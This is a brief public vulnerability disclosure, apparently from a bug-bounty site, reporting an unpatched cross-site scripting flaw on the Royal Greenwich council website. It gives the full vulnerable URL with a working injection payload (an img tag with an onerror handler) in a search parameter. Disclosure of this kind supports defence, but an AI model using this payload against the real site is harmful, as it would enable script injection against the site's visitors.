royalgreenwich.gov.uk XSS vulnerability

Vulnerable URL: http://www.royalgreenwich.gov.uk/site/?cludoquery=%27%22%3E%3E%3Cimg%20src%3Dx%20onerror%3Dalert%2FOPENBUGBOUNTY%2F%2F%2F=1=Greenwich%20Homepage%20-%20Telephone%3A%20020%208854%208888=http%3A%2F%2Fwww.royalgreenwich.gov.uk%2Fsite%2F Details: Description| Value ---|--- Patched:| No...